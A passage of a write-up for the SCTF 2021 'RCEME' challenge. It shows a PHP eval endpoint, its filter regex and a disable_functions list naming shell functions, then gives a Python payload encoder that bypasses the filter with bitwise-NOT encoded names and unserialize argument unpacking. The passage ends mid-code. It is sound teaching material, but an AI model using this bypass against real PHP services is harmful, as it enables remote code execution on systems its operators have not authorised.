SCTF 2021 RCEME Write-up

Write-ups for SCTF 2021 RCEME challenge.

Task

We are given the source of a PHP script by highlight_file:

<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>

The script also outputs its disable_functions by var_dump:

string(25472) "zend_version, func_num_args, func_get_arg, func_get_args, strcmp, strncmp, strcasecmp, strncasecmp, each, error_log, define, defined, get_class, get_called_class, get_parent_class, method_exists, property_exists, class_exists, interface_exists, trait_exists, function_exists, class_alias, get_included_files, get_required_files, is_subclass_of, is_a, get_class_vars, get_object_vars, get_mangled_object_vars, get_class_methods, trigger_error, user_error, restore_error_handler, set_exception_handler, restore_exception_handler, get_declared_classes, get_declared_traits, get_declared_interfaces, get_defined_functions, get_defined_vars, get_resource_type, get_resources, get_loaded_extensions, extension_loaded, get_extension_funcs, get_defined_constants, debug_backtrace, debug_print_backtrace, gc_mem_caches, gc_collect_cycles, gc_enabled, gc_enable, gc_disable, gc_status, strtotime, date, idate, gmdate, mktime, gmmktime, checkdate, strftime, gmstrftime, time, localtime, getdate, date_create, date_create_immutable, date_create_from_format, date_create_immutable_from_format, date_parse, date_parse_from_format, date_get_last_errors, date_format, date_modify, date_add, date_sub, date_timezone_get, date_timezone_set, date_offset_get, date_diff, date_time_set, date_date_set, date_isodate_set, date_timestamp_set, date_timestamp_get, timezone_open, timezone_name_get, timezone_name_from_abbr, timezone_offset_get, timezone_transitions_get, timezone_location_get, timezone_identifiers_list, timezone_abbreviations_list, timezone_version_get, date_interval_create_from_date_string, date_interval_format, date_default_timezone_set, date_default_timezone_get, date_sunrise, date_sunset, date_sun_info, libxml_set_streams_context, libxml_use_internal_errors, libxml_get_last_error, libxml_clear_errors, libxml_get_errors, libxml_disable_entity_loader, libxml_set_external_entity_loader, openssl_get_cert_locations, openssl_spki_new, openssl_spki_verify, openssl_spki_export, openssl_spki_export_challenge, openssl_pkey_free, openssl_pkey_new, openssl_pkey_export, openssl_pkey_export_to_file, openssl_pkey_get_private, openssl_pkey_get_public, openssl_pkey_get_details, openssl_free_key, openssl_get_privatekey, openssl_get_publickey, openssl_x509_read, openssl_x509_free, openssl_x509_parse, openssl_x509_checkpurpose, openssl_x509_check_private_key, openssl_x509_verify, openssl_x509_export, openssl_x509_fingerprint, openssl_x509_export_to_file, openssl_pkcs12_export, openssl_pkcs12_export_to_file, openssl_pkcs12_read, openssl_csr_new, openssl_csr_export, openssl_csr_export_to_file, openssl_csr_sign, openssl_csr_get_subject, openssl_csr_get_public_key, openssl_digest, openssl_encrypt, openssl_decrypt, openssl_cipher_iv_length, openssl_sign, openssl_verify, openssl_seal, openssl_open, openssl_pbkdf2, openssl_pkcs7_verify, openssl_pkcs7_decrypt, openssl_pkcs7_sign, openssl_pkcs7_encrypt, openssl_pkcs7_read, openssl_private_encrypt, openssl_private_decrypt, openssl_public_encrypt, openssl_public_decrypt, openssl_get_md_methods, openssl_get_cipher_methods, openssl_get_curve_names, openssl_dh_compute_key, openssl_pkey_derive, openssl_random_pseudo_bytes, openssl_error_string, preg_match_all, preg_replace_callback, preg_replace_callback_array, preg_filter, preg_split, preg_quote, preg_grep, preg_last_error, readgzfile, gzrewind, gzclose, gzeof, gzgetc, gzgets, gzgetss, gzread, gzopen, gzpassthru, gzseek, gztell, gzwrite, gzputs, gzfile, gzcompress, gzuncompress, gzdeflate, gzinflate, gzencode, gzdecode, zlib_encode, zlib_decode, zlib_get_coding_type, deflate_init, deflate_add, inflate_init, inflate_add, inflate_get_status, inflate_get_read_len, ob_gzhandler, filter_input, filter_var, filter_input_array, filter_var_array, filter_list, filter_has_var, filter_id, hash, hash_file, hash_hmac, hash_hmac_file, hash_init, hash_update, hash_update_stream, hash_update_file, hash_final, hash_copy, hash_algos, hash_hmac_algos, hash_pbkdf2, hash_equals, hash_hkdf, mhash_keygen_s2k, mhash_get_block_size, mhash_get_hash_name, mhash_count, mhash, session_name, session_module_name, session_save_path, session_id, session_create_id, session_regenerate_id, session_decode, session_encode, session_start, session_destroy, session_unset, session_gc, session_set_save_handler, session_cache_limiter, session_cache_expire, session_set_cookie_params, session_get_cookie_params, session_write_close, session_abort, session_reset, session_status, session_register_shutdown, session_commit, sodium_crypto_aead_aes256gcm_is_available, sodium_crypto_aead_aes256gcm_decrypt, sodium_crypto_aead_aes256gcm_encrypt, sodium_crypto_aead_aes256gcm_keygen, sodium_crypto_aead_chacha20poly1305_decrypt, sodium_crypto_aead_chacha20poly1305_encrypt, sodium_crypto_aead_chacha20poly1305_keygen, sodium_crypto_aead_chacha20poly1305_ietf_decrypt, sodium_crypto_aead_chacha20poly1305_ietf_encrypt, sodium_crypto_aead_chacha20poly1305_ietf_keygen, sodium_crypto_aead_xchacha20poly1305_ietf_decrypt, sodium_crypto_aead_xchacha20poly1305_ietf_keygen, sodium_crypto_aead_xchacha20poly1305_ietf_encrypt, sodium_crypto_auth, sodium_crypto_auth_keygen, sodium_crypto_auth_verify, sodium_crypto_box, sodium_crypto_box_keypair, sodium_crypto_box_seed_keypair, sodium_crypto_box_keypair_from_secretkey_and_publickey, sodium_crypto_box_open, sodium_crypto_box_publickey, sodium_crypto_box_publickey_from_secretkey, sodium_crypto_box_seal, sodium_crypto_box_seal_open, sodium_crypto_box_secretkey, sodium_crypto_kx_keypair, sodium_crypto_kx_publickey, sodium_crypto_kx_secretkey, sodium_crypto_kx_seed_keypair, sodium_crypto_kx_client_session_keys, sodium_crypto_kx_server_session_keys, sodium_crypto_generichash, sodium_crypto_generichash_keygen, sodium_crypto_generichash_init, sodium_crypto_generichash_update, sodium_crypto_generichash_final, sodium_crypto_kdf_derive_from_key, sodium_crypto_kdf_keygen, sodium_crypto_pwhash, sodium_crypto_pwhash_str, sodium_crypto_pwhash_str_verify, sodium_crypto_pwhash_str_needs_rehash, sodium_crypto_pwhash_scryptsalsa208sha256, sodium_crypto_pwhash_scryptsalsa208sha256_str, sodium_crypto_pwhash_scryptsalsa208sha256_str_verify, sodium_crypto_scalarmult, sodium_crypto_secretbox, sodium_crypto_secretbox_keygen, sodium_crypto_secretbox_open, sodium_crypto_secretstream_xchacha20poly1305_keygen, sodium_crypto_secretstream_xchacha20poly1305_init_push, sodium_crypto_secretstream_xchacha20poly1305_push, sodium_crypto_secretstream_xchacha20poly1305_init_pull, sodium_crypto_secretstream_xchacha20poly1305_pull, sodium_crypto_secretstream_xchacha20poly1305_rekey, sodium_crypto_shorthash, sodium_crypto_shorthash_keygen, sodium_crypto_sign, sodium_crypto_sign_detached, sodium_crypto_sign_ed25519_pk_to_curve25519, sodium_crypto_sign_ed25519_sk_to_curve25519, sodium_crypto_sign_keypair, sodium_crypto_sign_keypair_from_secretkey_and_publickey, sodium_crypto_sign_open, sodium_crypto_sign_publickey, sodium_crypto_sign_secretkey, sodium_crypto_sign_publickey_from_secretkey, sodium_crypto_sign_seed_keypair, sodium_crypto_sign_verify_detached, sodium_crypto_stream, sodium_crypto_stream_keygen, sodium_crypto_stream_xor, sodium_add, sodium_compare, sodium_increment, sodium_memcmp, sodium_memzero, sodium_pad, sodium_unpad, sodium_bin2hex, sodium_hex2bin, sodium_bin2base64, sodium_base642bin, sodium_crypto_scalarmult_base, spl_classes, spl_autoload, spl_autoload_extensions, spl_autoload_register, spl_autoload_unregister, spl_autoload_functions, spl_autoload_call, class_parents, class_implements, class_uses, spl_object_hash, spl_object_id, iterator_to_array, iterator_count, iterator_apply, constant, bin2hex, hex2bin, sleep, usleep, time_nanosleep, time_sleep_until, strptime, flush, wordwrap, htmlspecialchars, htmlentities, html_entity_decode, htmlspecialchars_decode, get_html_translation_table, sha1, sha1_file, md5, md5_file, crc32, iptcparse, iptcembed, getimagesize, getimagesizefromstring, image_type_to_mime_type, image_type_to_extension, phpversion, phpcredits, php_sapi_name, php_uname, php_ini_scanned_files, php_ini_loaded_file, strnatcmp, strnatcasecmp, substr_count, strspn, strcspn, strtok, strtoupper, ini_set, strtolower, strpos, stripos, strrpos, strripos, strrev, hebrev, hebrevc, nl2br, basename, dirname, pathinfo, stripslashes, stripcslashes, stristr, strrchr, str_shuffle, str_word_count, str_split, strpbrk, substr_compare, utf8_encode, utf8_decode, strcoll, money_format, substr, substr_replace, quotemeta, ucfirst, lcfirst, ucwords, strtr, addslashes, addcslashes, rtrim, str_replace, str_ireplace, str_repeat, count_chars, chunk_split, trim, ltrim, strip_tags, similar_text, explode, implode, join, setlocale, localeconv, nl_langinfo, soundex, levenshtein, chr, ord, parse_str, str_getcsv, str_pad, chop, strchr, sprintf, printf, vprintf, vsprintf, fprintf, vfprintf, sscanf, fscanf, parse_url, urlencode, urldecode, rawurlencode, rawurldecode, http_build_query, readlink, linkinfo, symlink, link, unlink, exec, system, escapeshellcmd, passthru, shell_exec, proc_open, proc_close, proc_terminate, proc_get_status, proc_nice, rand, srand, getrandmax, mt_rand, mt_srand, mt_getrandmax, random_bytes, random_int, getservbyname, getservbyport, getprotobyname, getprotobynumber, getmyuid, getmygid, getmypid, getmyinode, getlastmod, base64_decode, base64_encode, password_hash, password_get_info, password_needs_rehash, password_verify, password_algos, convert_uuencode, convert_uudecode, abs, ceil, floor, round, sin, cos, tan, asin, acos, atan, atanh, atan2, sinh, cosh, tanh, asinh, acosh, expm1, log1p, pi, is_finite, is_nan, is_infinite, pow, exp, log, log10, sqrt, hypot, deg2rad, rad2deg, bindec, hexdec, octdec, decbin, decoct, dechex, base_convert, number_format, fmod, intdiv, inet_ntop, inet_pton, ip2long, long2ip, getopt, sys_getloadavg, microtime, gettimeofday, getrusage, hrtime, uniqid, quoted_printable_decode, quoted_printable_encode, convert_cyr_string, get_current_user, set_time_limit, header_register_callback, get_cfg_var, get_magic_quotes_gpc, get_magic_quotes_runtime, error_get_last, error_clear_last, call_user_func_array, forward_static_call, forward_static_call_array, serialize, var_export, debug_zval_dump, print_r, memory_get_usage, memory_get_peak_usage, register_shutdown_function, register_tick_function, unregister_tick_function, highlight_string, php_strip_whitespace, ini_get_all, ini_alter, ini_restore, get_include_path, set_include_path, restore_include_path, setcookie, setrawcookie, header, header_remove, headers_sent, headers_list, http_response_code, connection_aborted, connection_status, ignore_user_abort, parse_ini_file, parse_ini_string, is_uploaded_file, move_uploaded_file, gethostbyaddr, gethostbyname, gethostbynamel, gethostname, net_get_interfaces, dns_check_record, checkdnsrr, dns_get_mx, getmxrr, dns_get_record, intval, floatval, doubleval, strval, boolval, gettype, settype, is_null, is_resource, is_bool, is_int, is_float, is_integer, is_long, is_double, is_real, is_numeric, is_string, is_array, is_object, is_scalar, is_callable, is_iterable, is_countable, pclose, popen, readfile, rewind, rmdir, umask, fclose, feof, fgetc, fgets, fgetss, fread, fopen, fpassthru, ftruncate, fstat, fseek, ftell, fflush, fwrite, fputs, mkdir, rename, copy, tempnam, tmpfile, file, file_get_contents, file_put_contents, stream_select, stream_context_create, stream_context_set_params, stream_context_get_params, stream_context_set_option, stream_context_get_options, stream_context_get_default, stream_context_set_default, stream_filter_prepend, stream_filter_append, stream_filter_remove, stream_socket_client, stream_socket_server, stream_socket_accept, stream_socket_get_name, stream_socket_recvfrom, stream_socket_sendto, stream_socket_enable_crypto, stream_socket_shutdown, stream_socket_pair, stream_copy_to_stream, stream_get_contents, stream_supports_lock, stream_isatty, fgetcsv, fputcsv, flock, get_meta_tags, stream_set_read_buffer, stream_set_write_buffer, set_file_buffer, stream_set_chunk_size, stream_set_blocking, socket_set_blocking, stream_get_meta_data, stream_get_line, stream_wrapper_register, stream_register_wrapper, stream_wrapper_unregister, stream_wrapper_restore, stream_get_wrappers, stream_get_transports, stream_resolve_include_path, stream_is_local, get_headers, stream_set_timeout, socket_set_timeout, socket_get_status, realpath, fnmatch, fsockopen, pfsockopen, pack, unpack, get_browser, crypt, opendir, closedir, chdir, getcwd, rewinddir, readdir, dir, scandir, glob, fileatime, filectime, filegroup, fileinode, filemtime, fileowner, fileperms, filesize, filetype, file_exists, is_writable, is_writeable, is_readable, is_executable, is_file, is_dir, is_link, stat, lstat, chown, chgrp, lchown, lchgrp, chmod, touch, clearstatcache, disk_total_space, disk_free_space, diskfreespace, realpath_cache_size, realpath_cache_get, ezmlm_hash, openlog, syslog, closelog, lcg_value, metaphone, ob_start, ob_flush, ob_clean, ob_end_flush, ob_end_clean, ob_get_flush, ob_get_clean, ob_get_length, ob_get_level, ob_get_status, ob_get_contents, ob_implicit_flush, ob_list_handlers, ksort, krsort, natsort, natcasesort, asort, arsort, sort, rsort, usort, uasort, uksort, shuffle, array_walk, array_walk_recursive, count, prev, next, reset, current, key, min, max, in_array, array_search, extract, compact, array_fill, array_fill_keys, range, array_multisort, array_push, array_pop, array_shift, array_unshift, array_splice, array_slice, array_merge, array_merge_recursive, array_replace, array_replace_recursive, array_keys, array_key_first, array_key_last, array_values, array_count_values, array_column, array_reverse, array_reduce, array_pad, array_flip, array_change_key_case, array_rand, array_unique, array_intersect, array_intersect_key, array_intersect_ukey, array_uintersect, array_intersect_assoc, array_uintersect_assoc, array_intersect_uassoc, array_uintersect_uassoc, array_diff, array_diff_key, array_diff_ukey, array_udiff, array_diff_assoc, array_udiff_assoc, array_diff_uassoc, array_udiff_uassoc, array_sum, array_product, array_filter, array_map, array_chunk, array_combine, array_key_exists, pos, sizeof, key_exists, assert, assert_options, version_compare, ftok, str_rot13, stream_get_filters, stream_filter_register, stream_bucket_make_writeable, stream_bucket_prepend, stream_bucket_append, stream_bucket_new, output_add_rewrite_var, output_reset_rewrite_vars, sys_get_temp_dir, apache_lookup_uri, virtual, apache_request_headers, apache_response_headers, apache_getenv, apache_note, apache_get_version, apache_get_modules, xxhash32, xxhash64, pdo_drivers, xml_parser_create, xml_parser_create_ns, xml_set_object, xml_set_element_handler, xml_set_character_data_handler, xml_set_processing_instruction_handler, xml_set_default_handler, xml_set_unparsed_entity_decl_handler, xml_set_notation_decl_handler, xml_set_external_entity_ref_handler, xml_set_start_namespace_decl_handler, xml_set_end_namespace_decl_handler, xml_parse, xml_parse_into_struct, xml_get_error_code, xml_error_string, xml_get_current_line_number, xml_get_current_column_number, xml_get_current_byte_index, xml_parser_free, xml_parser_set_option, xml_parser_get_option, jdtogregorian, gregoriantojd, jdtojulian, juliantojd, jdtojewish, jewishtojd, jdtofrench, frenchtojd, jddayofweek, jdmonthname, easter_date, easter_days, unixtojd, jdtounix, cal_to_jd, cal_from_jd, cal_days_in_month, cal_info, ctype_alnum, ctype_alpha, ctype_cntrl, ctype_digit, ctype_lower, ctype_graph, ctype_print, ctype_punct, ctype_space, ctype_upper, ctype_xdigit, dom_import_simplexml, exif_read_data, read_exif_data, exif_tagname, exif_thumbnail, exif_imagetype, finfo_open, finfo_close, finfo_set_flags, finfo_file, finfo_buffer, mime_content_type, ftp_connect, ftp_ssl_connect, ftp_login, ftp_pwd, ftp_cdup, ftp_chdir, ftp_exec, ftp_raw, ftp_mkdir, ftp_rmdir, ftp_chmod, ftp_alloc, ftp_nlist, ftp_rawlist, ftp_mlsd, ftp_systype, ftp_pasv, ftp_get, ftp_fget, ftp_put, ftp_append, ftp_fput, ftp_size, ftp_mdtm, ftp_rename, ftp_delete, ftp_site, ftp_close, ftp_set_option, ftp_get_option, ftp_nb_fget, ftp_nb_get, ftp_nb_continue, ftp_nb_put, ftp_nb_fput, ftp_quit, gd_info, imagearc, imageellipse, imagechar, imagecharup, imagecolorat, imagecolorallocate, imagepalettecopy, imagecreatefromstring, imagecolorclosest, imagecolorclosesthwb, imagecolordeallocate, imagecolorresolve, imagecolorexact, imagecolorset, imagecolortransparent, imagecolorstotal, imagecolorsforindex, imagecopy, imagecopymerge, imagecopymergegray, imagecopyresized, imagecreate, imagecreatetruecolor, imageistruecolor, imagetruecolortopalette, imagepalettetotruecolor, imagesetthickness, imagefilledarc, imagefilledellipse, imagealphablending, imagesavealpha, imagecolorallocatealpha, imagecolorresolvealpha, imagecolorclosestalpha, imagecolorexactalpha, imagecopyresampled, imagerotate, imageflip, imageantialias, imagecrop, imagecropauto, imagescale, imageaffine, imageaffinematrixconcat, imageaffinematrixget, imagesetinterpolation, imagesettile, imagesetbrush, imagesetstyle, imagecreatefrompng, imagecreatefromwebp, imagecreatefromgif, imagecreatefromjpeg, imagecreatefromwbmp, imagecreatefromxbm, imagecreatefromxpm, imagecreatefromgd, imagecreatefromgd2, imagecreatefromgd2part, imagecreatefrombmp, imagecreatefromtga, imagepng, imagewebp, imagegif, imagejpeg, imagewbmp, imagegd, imagegd2, imagebmp, imagedestroy, imagegammacorrect, imagefill, imagefilledpolygon, imagefilledrectangle, imagefilltoborder, imagefontwidth, imagefontheight, imageinterlace, imageline, imageloadfont, imagepolygon, imageopenpolygon, imagerectangle, imagesetpixel, imagestring, imagestringup, imagesx, imagesy, imagesetclip, imagegetclip, imagedashedline, imagettfbbox, imagettftext, imageftbbox, imagefttext, imagetypes, jpeg2wbmp, png2wbmp, image2wbmp, imagelayereffect, imagexbm, imagecolormatch, imagefilter, imageconvolution, imageresolution, textdomain, gettext, _, dgettext, dcgettext, bindtextdomain, ngettext, dngettext, dcngettext, bind_textdomain_codeset, gmp_init, gmp_import, gmp_export, gmp_intval, gmp_strval, gmp_add, gmp_sub, gmp_mul, gmp_div_qr, gmp_div_q, gmp_div_r, gmp_div, gmp_mod, gmp_divexact, gmp_neg, gmp_abs, gmp_fact, gmp_sqrt, gmp_sqrtrem, gmp_root, gmp_rootrem, gmp_pow, gmp_powm, gmp_perfect_square, gmp_perfect_power, gmp_prob_prime, gmp_gcd, gmp_gcdext, gmp_lcm, gmp_invert, gmp_jacobi, gmp_legendre, gmp_kronecker, gmp_cmp, gmp_sign, gmp_random, gmp_random_seed, gmp_random_bits, gmp_random_range, gmp_and, gmp_or, gmp_com, gmp_xor, gmp_setbit, gmp_clrbit, gmp_testbit, gmp_scan0, gmp_scan1, gmp_popcount, gmp_hamdist, gmp_nextprime, gmp_binomial, iconv, iconv_get_encoding, iconv_set_encoding, iconv_strlen, iconv_substr, iconv_strpos, iconv_strrpos, iconv_mime_encode, iconv_mime_decode, iconv_mime_decode_headers, json_encode, json_decode, json_last_error, json_last_error_msg, mb_convert_case, mb_strtoupper, mb_strtolower, mb_language, mb_internal_encoding, mb_http_input, mb_http_output, mb_detect_order, mb_substitute_character, mb_parse_str, mb_output_handler, mb_preferred_mime_name, mb_str_split, mb_strlen, mb_strpos, mb_strrpos, mb_stripos, mb_strripos, mb_strstr, mb_strrchr, mb_stristr, mb_strrichr, mb_substr_count, mb_substr, mb_strcut, mb_strwidth, mb_strimwidth, mb_convert_encoding, mb_detect_encoding, mb_list_encodings, mb_encoding_aliases, mb_convert_kana, mb_encode_mimeheader, mb_decode_mimeheader, mb_convert_variables, mb_encode_numericentity, mb_decode_numericentity, mb_send_mail, mb_get_info, mb_check_encoding, mb_ord, mb_chr, mb_scrub, mb_regex_encoding, mb_regex_set_options, mb_ereg, mb_eregi, mb_ereg_replace, mb_eregi_replace, mb_ereg_replace_callback, mb_split, mb_ereg_match, mb_ereg_search, mb_ereg_search_pos, mb_ereg_search_regs, mb_ereg_search_init, mb_ereg_search_getregs, mb_ereg_search_getpos, mb_ereg_search_setpos, mbregex_encoding, mbereg, mberegi, mbereg_replace, mberegi_replace, mbsplit, mbereg_match, mbereg_search, mbereg_search_pos, mbereg_search_regs, mbereg_search_init, mbereg_search_getregs, mbereg_search_getpos, mbereg_search_setpos, mysqli_affected_rows, mysqli_autocommit, mysqli_begin_transaction, mysqli_change_user, mysqli_character_set_name, mysqli_close, mysqli_commit, mysqli_connect, mysqli_connect_errno, mysqli_connect_error, mysqli_data_seek, mysqli_dump_debug_info, mysqli_debug, mysqli_errno, mysqli_error, mysqli_error_list, mysqli_stmt_execute, mysqli_execute, mysqli_fetch_field, mysqli_fetch_fields, mysqli_fetch_field_direct, mysqli_fetch_lengths, mysqli_fetch_all, mysqli_fetch_array, mysqli_fetch_assoc, mysqli_fetch_object, mysqli_fetch_row, mysqli_field_count, mysqli_field_seek, mysqli_field_tell, mysqli_free_result, mysqli_get_connection_stats, mysqli_get_client_stats, mysqli_get_charset, mysqli_get_client_info, mysqli_get_client_version, mysqli_get_links_stats, mysqli_get_host_info, mysqli_get_proto_info, mysqli_get_server_info, mysqli_get_server_version, mysqli_get_warnings, mysqli_init, mysqli_info, mysqli_insert_id, mysqli_kill, mysqli_more_results, mysqli_multi_query, mysqli_next_result, mysqli_num_fields, mysqli_num_rows, mysqli_options, mysqli_ping, mysqli_poll, mysqli_prepare, mysqli_report, mysqli_query, mysqli_real_connect, mysqli_real_escape_string, mysqli_real_query, mysqli_reap_async_query, mysqli_release_savepoint, mysqli_rollback, mysqli_savepoint, mysqli_select_db, mysqli_set_charset, mysqli_stmt_affected_rows, mysqli_stmt_attr_get, mysqli_stmt_attr_set, mysqli_stmt_bind_param, mysqli_stmt_bind_result, mysqli_stmt_close, mysqli_stmt_data_seek, mysqli_stmt_errno, mysqli_stmt_error, mysqli_stmt_error_list, mysqli_stmt_fetch, mysqli_stmt_field_count, mysqli_stmt_free_result, mysqli_stmt_get_result, mysqli_stmt_get_warnings, mysqli_stmt_init, mysqli_stmt_insert_id, mysqli_stmt_more_results, mysqli_stmt_next_result, mysqli_stmt_num_rows, mysqli_stmt_param_count, mysqli_stmt_prepare, mysqli_stmt_reset, mysqli_stmt_result_metadata, mysqli_stmt_send_long_data, mysqli_stmt_store_result, mysqli_stmt_sqlstate, mysqli_sqlstate, mysqli_ssl_set, mysqli_stat, mysqli_store_result, mysqli_thread_id, mysqli_thread_safe, mysqli_use_result, mysqli_warning_count, mysqli_refresh, mysqli_escape_string, mysqli_set_opt, posix_kill, posix_getpid, posix_getppid, posix_getuid, posix_setuid, posix_geteuid, posix_seteuid, posix_getgid, posix_setgid, posix_getegid, posix_setegid, posix_getgroups, posix_getlogin, posix_getpgrp, posix_setsid, posix_setpgid, posix_getpgid, posix_getsid, posix_uname, posix_times, posix_ctermid, posix_ttyname, posix_isatty, posix_getcwd, posix_mkfifo, posix_mknod, posix_access, posix_getgrnam, posix_getgrgid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_setrlimit, posix_get_last_error, posix_errno, posix_strerror, posix_initgroups, readline, readline_info, readline_add_history, readline_clear_history, readline_list_history, readline_read_history, readline_write_history, readline_completion_function, readline_callback_handler_install, readline_callback_read_char, readline_callback_handler_remove, readline_redisplay, readline_on_new_line, shmop_open, shmop_read, shmop_close, shmop_size, shmop_write, shmop_delete, simplexml_load_file, simplexml_load_string, simplexml_import_dom, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_accept, socket_set_nonblock, socket_set_block, socket_listen, socket_close, socket_write, socket_read, socket_getsockname, socket_getpeername, socket_connect, socket_strerror, socket_bind, socket_recv, socket_send, socket_recvfrom, socket_sendto, socket_get_option, socket_set_option, socket_shutdown, socket_last_error, socket_clear_error, socket_import_stream, socket_export_stream, socket_sendmsg, socket_recvmsg, socket_cmsg_space, socket_addrinfo_lookup, socket_addrinfo_connect, socket_addrinfo_bind, socket_addrinfo_explain, socket_getopt, socket_setopt, msg_get_queue, msg_send, msg_receive, msg_remove_queue, msg_stat_queue, msg_set_queue, msg_queue_exists, sem_get, sem_acquire, sem_release, sem_remove, shm_attach, shm_remove, shm_detach, shm_put_var, shm_has_var, shm_get_var, shm_remove_var, token_get_all, token_name, xmlwriter_open_uri, xmlwriter_open_memory, xmlwriter_set_indent, xmlwriter_set_indent_string, xmlwriter_start_comment, xmlwriter_end_comment, xmlwriter_start_attribute, xmlwriter_end_attribute, xmlwriter_write_attribute, xmlwriter_start_attribute_ns, xmlwriter_write_attribute_ns, xmlwriter_start_element, xmlwriter_end_element, xmlwriter_full_end_element, xmlwriter_start_element_ns, xmlwriter_write_element, xmlwriter_write_element_ns, xmlwriter_start_pi, xmlwriter_end_pi, xmlwriter_write_pi, xmlwriter_start_cdata, xmlwriter_end_cdata, xmlwriter_write_cdata, xmlwriter_text, xmlwriter_write_raw, xmlwriter_start_document, xmlwriter_end_document, xmlwriter_write_comment, xmlwriter_start_dtd, xmlwriter_end_dtd, xmlwriter_write_dtd, xmlwriter_start_dtd_element, xmlwriter_end_dtd_element, xmlwriter_write_dtd_element, xmlwriter_start_dtd_attlist, xmlwriter_end_dtd_attlist, xmlwriter_write_dtd_attlist, xmlwriter_start_dtd_entity, xmlwriter_end_dtd_entity, xmlwriter_write_dtd_entity, xmlwriter_output_memory, xmlwriter_flush, zip_open, zip_close, zip_read, zip_entry_open, zip_entry_close, zip_entry_read, zip_entry_filesize, zip_entry_name, zip_entry_compressedsize, zip_entry_compressionmethod, opcache_reset, opcache_invalidate, opcache_compile_file, opcache_is_script_cached, opcache_get_configuration, opcache_get_status,mail,imap_mail,imap_open" 

Server HTTP response headers:

Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 7781
Content-Type: text/html; charset=UTF-8
Date: Mon, 27 Dec 2021 06:58:37 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/7.2.34

Ideas

Hopefully, we will run some malicious codes through the script by POST cmd. But at first, we should figure out what kind of codes are allowed to be executed:

  • Rule 1: no parts are matched with regexp /[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm

    it is easy to select the rested characters out, including

    • all control characters
    • \t \n \r
    • !#%()*.:;<@[\]_{}~
  • Rule 2: ';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)

    it’s tricky to explain what this means, however, examples are shown below and its testing is available in a playground.

    valid:

    A();
    A();
    A(B(C()));
    A(A.B_CxD[());
    _x!(A.B_CxD[());
    

    invalid:

    A(B()_C());
    A();B();
    X(~);
    
  • Rule 3: last but not least, it should not call any of disable_functions

Whenever we try to exploit the script, we should remember these 3 rules.

Background: Some Useful PHP Features

Assumed String Constants

In PHP, most non-special characters in a row (i.e. excluding some keywords, spaces, $"'/()[] etc.) will be considered as a symbol to a constant.

For numerical symbols (e.g. 6 12345 89.9), they will be translated into values directly; but for non-numerical symbols (e.g. S ABC), they will be first looked up in constants; if there isn’t any defined one, then they will be assumed as string constants:

Assumed String Constants (Normal Characters)

It even holds true for bytes (e.g \xAB \x9E\x9F\xAA) since there is in fact no differences between so-called “string” or “bytes” in PHP:

Assumed String Constants (Bytes)

Strings and Bitwise Operators

Strings in PHP support unary & binary bitwise operators. For example, ~\xBE\xA5 is equivalent as \x41\x5A since we have

[ \operatorname{NOT}(\texttt{BEh}) = \texttt{41h},\operatorname{NOT}(\texttt{A5h}) = \texttt{5Ah}. ]

For binary operators like & |, the result is made up of corresponding operated bytes. All the extra bytes are truncated, that is, the result has the same length of the shorter string.

Bitwise NOT

Step 1: Invent Own Encoding

We are glad to do function calls to exploit the script. Based on the previous 3 rules and features, we are going to invent our own encoding for function calls. A function name can be encoded as (noticing [~\x??\x??\x??] is an array and ~\xCF == '0' is its index)

[~\x??\x??\x??][~\xCF]

(Question: why can’t we directly use ~\x??\x??\x?? as function name?)

A function call without arguments can be written in the form of:

[~\x??\x??\x??][~\xCF]()

If we want to call phpinfo for example, with library requests, we can just

import requests

TARGET = 'WHATS_OUR_TARGET'

res = requests.post(TARGET, data={
    'cmd': b'[~\x8f\x97\x8f\x96\x91\x99\x90][~\xCF]();'
})

print(res.text)

Try Run phpinfo

What shall we do if a function call needs parameter? What about the following:

[~\x??\x??\x??][~\xCF](~\x??\x??\x??, ~\x??\x??\x??)

No! This will break Rule 2 mentioned before.

A twisted approach is to have such encoding for an 1-argument call.

[~\x??\x??\x??][~\xCF](~\x??\x??\x??.strlen())

However, this will break Rule 1, the solution is to replace strlen() with a 0-argument call to strlen in our own encoding:

                                        "strlen"
                                            ^
                                            |
[~\x??\x??\x??][~\xCF](~\x??\x??\x??.[~\x??\x??\x??][~\xCF]())

What about function calls with multiple ( >= 2) arguments?

There is a “spotlight” function in PHP called unserialize, its input is a string and its output can be any object (numbers, strings, arrays, class instances etc.). With argument unpacking features in PHP (5.6+) (as figure shown)

Argument Unpacking

We can thus convert a processed string to an array by unserialize and pass it as arguments for function calls by argument unpacking.

In Python, the library phpserialize offers such abilities to serialize an array to a string, and that string is what unserialize accepts.

This is the encoding part:

# For passing multiple arguments
import phpserialize

class exp:
    @staticmethod
    def _raw_encode(data):
        encoded = b''
        if isinstance(data, str):
            data = data.encode()
        for b in data:
            encoded += bytes([~b & 0xFF])
        return encoded
    @staticmethod
    def expr(data):
        return b'~' + exp._raw_encode(data)
    @staticmethod
    def symbol(name):
        return b'[~' + exp._raw_encode(name) + b']' + b'[~\xCF]'
    @staticmethod
    def single_argument(arg):
            return exp.expr(arg) + b'.' + exp.call('strlen')
    @staticmethod
    def arguments(*args):
        if len(args) == 0:
            return b''
        else:
            return b'...' + exp.call('unserialize', exp.single_argument(phpserialize.dumps(args)))
    @staticmethod
    def call(function, *args):
        if len(args) == 0:
            return exp.symbol(function) + b'()'
        elif len(args) == 1:
            if type(args[0]) == bytes:
                return exp.symbol(function) + b'(' + args[0] + b')'
            else:
                return exp.symbol(function) + b'(' + exp.single_argument(args[0]) + b')'
        else:
            return exp.symbol(function) + b'(' + exp.arguments(*args) + b')'

To use it, just call exp.call with function name and all arguments. Do not forget the final semicolon!

(While most functions are disabled, strstr is not disabled by comparison)

import requests

TARGET = 'WHATS_OUR_TARGET'

res = requests.post(TARGET, data={
